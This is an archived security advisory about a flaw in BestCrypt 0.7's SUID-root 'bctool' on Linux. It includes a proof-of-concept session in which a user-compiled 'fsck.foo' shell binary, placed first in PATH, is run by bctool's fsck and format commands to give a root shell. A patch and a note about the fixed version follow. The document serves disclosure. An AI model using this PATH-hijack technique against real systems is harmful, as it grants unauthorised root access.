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TUCoPS :: Unix :: General :: bcrypt1.htm

BestCrypt 0.7 flaw



Vulnerability

    BestCrypt

Affected

    BestCrypt up to and including v0.7

Description

    Joel Eriksson found  following.  He  has discovered a  flaw in the
    SUID-root "bctool" program that comes with BestCrypt from  Jetico.
    For those of you  that did not know,  BestCrypt is a product  that
    allows  users  to  create  encrypted  loopback  filesystems  using
    encryption  algorithms  such  as  Twofish,  Blowfish, Gost or DES.
    While the Windows version (yes, compatible with the Linux version)
    is commercial  and only  distributed in  binary format,  the Linux
    version is distributed with source code under the GPL license.

    Joel  had  to  run  "fsck"  (filesystem  check)  on  an  encrypted
    container after his two-year-old son accidently pressed the  power
    button to his computer it occured to him that when the  filesystem
    type  is  specified  to  "fsck"  with  "-t  <fstype>"  it executes
    "fsck.<fstype>" to do the actual  check.  "mkfs" behaves the  same
    too btw.  So, he tested the following:

        [je@seth ~]$ id
        uid=502(je) gid=505(je)
        [je@seth ~]$ bctool new fscktest -s 1k -a des
        Enter password: fscktest
        Verify password: fscktest
        [je@seth ~]$ cat > fsck.foo.c
        #include <unistd.h>
        #include <stdio.h>
        
        int main(void)
        {
                setuid(geteuid());
        
                execl("/bin/bash", "-bash", NULL);
        
                return 1; /* this should not be reached */
        }
        ^D
        [je@seth ~]$ gcc -o fsck.foo fsck.foo.c
        [je@seth ~]$ export PATH=.:$PATH
        [je@seth ~]$ bctool fsck -t foo fscktest
        Enter password: fscktest
        Parallelizing fsck version 1.19 (13-Jul-2000)
        [./fsck.foo -- /dev/bcrypt1] fsck.foo /dev/bcrypt1
        bash-2.05# id
        uid=0(root) gid=505(je)
        bash-2.05# exit
        [je@seth ~]$ ln -s fsck.foo mkfs.foo
        [je@seth ~]$ bctool format fscktest -t foo
        Enter password: fscktest
        bash-2.05# id
        uid=0(root) gid=505(je)
        bash-2.05#

Solution

    Authors already made  a new version  available that fixes  the bug
    (v0.8)  and  hopefully  this  one  does  not  have  any more nasty
    security holes in it.

    Here is a patch Joel made for himself:

    --- bcrypt-0.7-2/src/misc.c     Wed Jan 31 11:00:04 2001
    +++ bcrypt-0.7-2/src/misc.c     Mon Jun  4 00:18:47 2001
    @@ -251,8 +251,7 @@
     int run_process(char *args[])
     {
         int pid, i, j;
    -    char *env[16];
    -    extern char **environ;
    +    char *env[] = { "PATH=/sbin", NULL };
    
         assert(args != NULL);
         assert(args[0] != NULL);
    @@ -266,25 +265,6 @@
    
         if ( pid == 0 )
         { /* Child */
    -
    -        /* Prune environment to remove any potentially dangerous variables. */
    -        i = 0;
    -        for ( j = 0; environ[j] && i < sizeof(env)/sizeof(env[0]) - 1; j++ )
    -            if ( strncmp(environ[j], "HOME=", 5) == 0 ||
    -                 strncmp(environ[j], "USER=", 5) == 0 ||
    -                 strncmp(environ[j], "PATH=", 5) == 0 ||
    -                 strncmp(environ[j], "LOGNAME=", 8) == 0 ||
    -                 strncmp(environ[j], "TZ=", 3) == 0 ||
    -                 strncmp(environ[j], "MAIL=", 5) == 0 ||
    -                 strncmp(environ[j], "SHELL=", 6) == 0 ||
    -                 strncmp(environ[j], "TERM=", 5) == 0 ||
    -                 strncmp(environ[j], "DISPLAY=", 8) == 0 ||
    -                 strncmp(environ[j], "PRINTER=", 8) == 0 ||
    -                 strncmp(environ[j], "XAUTHORITY=", 11) == 0 ||
    -                 strncmp(environ[j], "TERMCAP=", 8) == 0 )
    -                env[i++] = environ[j];
    -        env[i] = NULL;
    -
             execve(args[0], args, env);
             msg(stderr,"execve %s failed: %s\n", args[0], strerror(errno));
         }


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